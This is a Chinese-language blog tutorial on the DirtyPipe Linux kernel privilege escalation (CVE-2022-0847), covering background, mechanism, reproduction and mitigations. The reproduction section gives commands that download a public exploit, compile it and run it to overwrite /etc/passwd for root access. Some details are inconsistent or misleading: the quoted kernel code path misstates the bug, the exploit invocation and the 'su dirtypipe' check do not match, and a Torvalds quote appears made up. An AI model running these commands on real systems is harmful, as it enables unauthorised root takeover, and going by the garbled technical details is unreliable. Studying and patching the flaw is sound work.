悠悠楠杉
DirtyPipe(CVE-2022-0847):一个颠覆认知的Linux内核提权漏洞复现
DirtyPipe(CVE-2022-0847):一个颠覆认知的Linux内核提权漏洞复现
关键词:
DirtyPipe、CVE-2022-0847、Linux内核漏洞、本地提权、漏洞复现、POC分析、漏洞防护
描述:
2022年曝光的DirtyPipe漏洞(CVE-2022-0847)打破了"Linux管道只读不可写"的固有认知,攻击者可通过该漏洞实现从普通用户到root权限的跨越。本文将深度解析漏洞原理,提供完整的复现过程,并探讨防护方案。
一、漏洞背景:管道机制的"认知颠覆"
2022年3月,德国安全研究员Max Kellermann披露了一个令人震惊的Linux内核漏洞——DirtyPipe(CVE-2022-0847)。该漏洞影响自5.8版本起的Linux内核,允许低权限用户篡改只读文件,最终实现权限提升。与2016年轰动一时的DirtyCow(脏牛)漏洞类似,DirtyPipe再次证明了内核子系统复杂交互中的安全隐患。
二、漏洞原理:PIPE机制中的"脏数据"
1. 技术本质
漏洞源于Linux管道(pipe)机制中flags
成员的未初始化问题。当调用splice()
系统调用时,内核未正确清除PIPE_BUF_FLAG_CAN_MERGE
标志位,导致攻击者可以向目标文件写入任意数据。
关键代码路径:
c
// fs/pipe.c
pipe_write():
if (can_merge && ...) {
// 错误保留可合并标志
buf->flags |= PIPE_BUF_FLAG_CAN_MERGE;
}
2. 利用条件
- 内核版本:5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
- 需要普通用户权限
- 目标文件需具有可读权限
三、漏洞复现:从理论到实践
环境准备
bash
测试环境(基于Ubuntu 20.04)
uname -a # Linux vuln-host 5.13.0-30-generic
gcc --version # gcc (Ubuntu 9.4.0-1ubuntu1~20.04)
完整复现步骤
下载POC代码:
bash wget https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c
编译执行:
bash gcc exploit.c -o dirtypipe ./dirtypipe /etc/passwd 1 root::0:0:root:/root:/bin/bash
验证结果:
bash su dirtypipe whoami # 输出root表示提权成功
关键过程解析
- 通过
splice()
将目标文件数据导入管道 - 利用未初始化的
PIPE_BUF_FLAG_CAN_MERGE
标志 - 向管道写入恶意数据覆盖原文件内容
- 修改/etc/passwd或SUID二进制文件实现提权
四、深度防御:企业级防护方案
1. 官方补丁
bash
升级内核版本
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
2. 临时缓解措施
bash
限制敏感文件权限
chattr +i /etc/passwd
chmod 600 /etc/shadow
3. 高级防护建议
- 部署eBPF监控异常pipe操作
- 启用SELinux/AppArmor强制访问控制
- 定期进行漏洞扫描(使用Trivy、grype等工具)
五、思考延伸:为何漏洞"潜伏"多年?
这个看似简单的漏洞揭示了Linux内核开发中的深层问题:
1. 代码复用风险:管道机制从1990年代沿用至今,历史代码审计不足
2. 安全假设偏差:"管道只读"的固有认知导致测试用例缺失
3. 子系统交互漏洞:splice()与pipe_write()的非常规组合触发异常路径
正如Linux创始人Linus Torvalds在补丁提交时的评论:"这是一个非常有趣的漏洞,它打破了我们对管道行为的常规认知。"
参考资料:
1. 官方漏洞公告:https://dirtypipe.cm4all.com/
2. Linux内核补丁:git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903
3. MITRE CVE条目:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847